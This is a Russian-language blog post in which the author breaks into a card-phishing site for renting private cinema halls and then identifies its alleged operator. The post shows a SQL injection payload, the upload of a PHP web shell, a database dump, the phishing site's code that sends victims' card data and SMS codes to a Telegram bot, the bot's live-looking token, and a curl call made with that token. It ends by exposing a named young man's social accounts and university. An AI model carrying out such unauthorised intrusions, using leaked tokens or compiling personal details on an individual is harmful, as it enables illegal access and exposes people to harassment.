Каждый из нас может стать жертвой злоумышленника, но иногда жертва и добыча меняются местами.
Это краткая история о том, как неумелое использовании технологий может привести к раскрытию личности. Стать я будет полезна как юным хакерам, желающим получить «легкие деньги», так и тем, кто хочет их поймать.
Одним февральским вечерком я был занят поиском места для романтичного свидания со своей возлюбленной. Через какое-то время мое внимание привлек сайт milleniumfilm.ru, не доступный в настоящее время. Сайт предоставлял услуги аренды небольших кинозалов для частного просмотра. Красивые картинки, умеренные цены, есть онлайн поддержка, одно но: данные банковской карты предлагалось ввести на не защищенной странице этого же домена. Насторожившись, я написал в техподдержку сайта, и мошенники не заставили себя долго ждать — поняв, что я достаточно технически грамотен послали меня на 3 буквы. Конечно, мошенникам нет смысла тратить на меня время, но зачем так грубо? — В любой ситуации нужно оставаться Человеком.
С отзывами о сайтах такого же плана можно ознакомиться тут: zhaloba-online.ru. Некоторые из них даже до сих пор работают.
Чувствуя вселенскую несправедливость, я принялся изучать сайт на предмет уязвимостей.
Первая же попытка SQL-инъекции
1' or '1
дала мне доступ к настройкам сайта.
Сайт создателя данного творения Gelloiss.ru красовался на первой же странице. Особенно интересным оказался раздел «Банковские карты» — там отображались все введенные данные: фамилия и имя держателя карты, номер карты, срок действия, cvc2 и код подтверждения из смс.
Получив реквизиты банковской карты, злоумышленник делает запрос на перевод средств с карты и перенаправляется платежной системой на страницу 3D-secure, где нужно ввести код из смс. Код приходит в смс на телефон жертвы, который вводит его в форме сайта. Получив код из смс, мошенник вводит его на странице 3D-secure подтверждая транзакцию. Вся эта схема требует неотлагательный действий самого мошенника, что наводит на мысль, что сайт должен быстро уведомлять о наличии жертвы.
На странице «Настройка фильмов» была достаточно простая форма для формирования тексто-графических блоков. Функция загрузки картинки не фильтровала контент загружаемых файлов, что навело на мысль о возможности залить php-shell. Шелл успешно залился в /images/, откуда я его скопировал в корень сайта под названием login.php. Получив доступ к консоли, я сделал дамп базы данных и бэкап всех файлов в архив, который был успешно скачан.
Среди содержимого архива меня привлек файл telegram.php.
$ cat telegram.php
<?
function send_mess($text) {
$token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs";
$mess = $text;
$chat = "-302359340";
/*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/
file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess);
}
PHP скрипт содержал в себе токен телеграм-бота и отправлял сообщения в чат при вызове функции send_mess. Поискав по коду сайта стало ясно, что именно с помощью телеграм-бота злоумышленнику отправляются данные карт, смс код.
./cart.php:22:send_mess("Имя клиента: ".$name."%0D%0AEmail: ".$email."%0D%0AТелефон: ".$phone."%0D%0AДата посещения: ".$date."%0D%0A"."Время: ".$time."%0D%0AГород: ".$city."%0D%0AСумма: ".$sum."%0D%0AСписок заказанных услуг: ".$services."%0D%0AIP: ".$ip."%0D%0AЗабанить: ".$link_ban_ip);
./pay/ms.php:21: send_mess("Сумма: ".$sum."%0D%0AИмя владельца карты: ".$name."%0D%0AНомер карты: ".$num."%0D%0AСрок годности, месяц: ".$month."%0D%0AГод: ".$year."%0D%0Acvv: ".$cvv);
Что ж, у нас есть токен телеграм-бота, chat_id, адрес создателя сайта на котором красуется skype «ura7887» и telegram «Gelloiss» (раньше telegram не был указан, потому для того чтобы убедиться что telegram-аккаунт принадлежит владельцу сайта я использовал наживку).
Выясним, кто создал чат, в который бот отсылает сообщения.
$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340"
{"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}
Как видно создатель чата имеет такой же username как и сайт создателя — «gelloiss».
Помните: интернет ни чего не забвает! Поиск по ключевым словам: «gelloiss», «ura7887», привел меня на страницу вконтакте Юрия Искры, где указан как сайт «Gelloiss.ru», так и skype «ura7887».
А вот тут: vk.com видно, что данным скайп логином Юрий пользовался еще 6 лет назад, когда ему было 14 лет.
А так же тут anime.anidub.com.
Так же можно найти сообщение на форуме хакеров blackhacker.ru, с предложением продажи фишингового сайта.
На момент начала истории, на сайте Gelloiss.ru не был указан логин telegram, потому мне нужно было связать владельца telegram-аккаунта с владельцем сайта или страницей вконтакте. Для этого я создал некий маркер, который владелец telegram-аккаунта должен будет разместить у себя.
$ sha256sum <<< "i'm carder yuri iskra."
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 -
Далее я написал в telegram и представившить потенциальным заказчиком предложил пройти проверку: попросил разместить маркер
Лично у меня не осталось сомнений, что страница вконтакте принадлежит злоумышленнику. На момент взлома сайта, в базе данных было не менее 100 различных номеров карт, а к моменту закрытия сайта еще +100.
В заключение давайте посмотрим, где учится наш «герой». Это легко определить посмотрев где учатся его «друзья по вузу» на странице вконтакте.
Мне удалось получить доступ к сообщениям, которые отсылает бот. Масштабы бедствия поражают: за 3 месяца телеграм-бот отослал примерно 13 тысяч сообщений. Даже если предположить, что всего-лишь пятая часть полученных данных валидна, то список пострадавших превысит 2 тысячи человек. Хакер работает не один, а с сообщниками, которые завлекают клиентов и помогают с переводом средств. На данный момент злоумышленники получают паспортные данные, телефоны и номера карт с сайта moneyonline.world.
Комментариев нет:
Отправить комментарий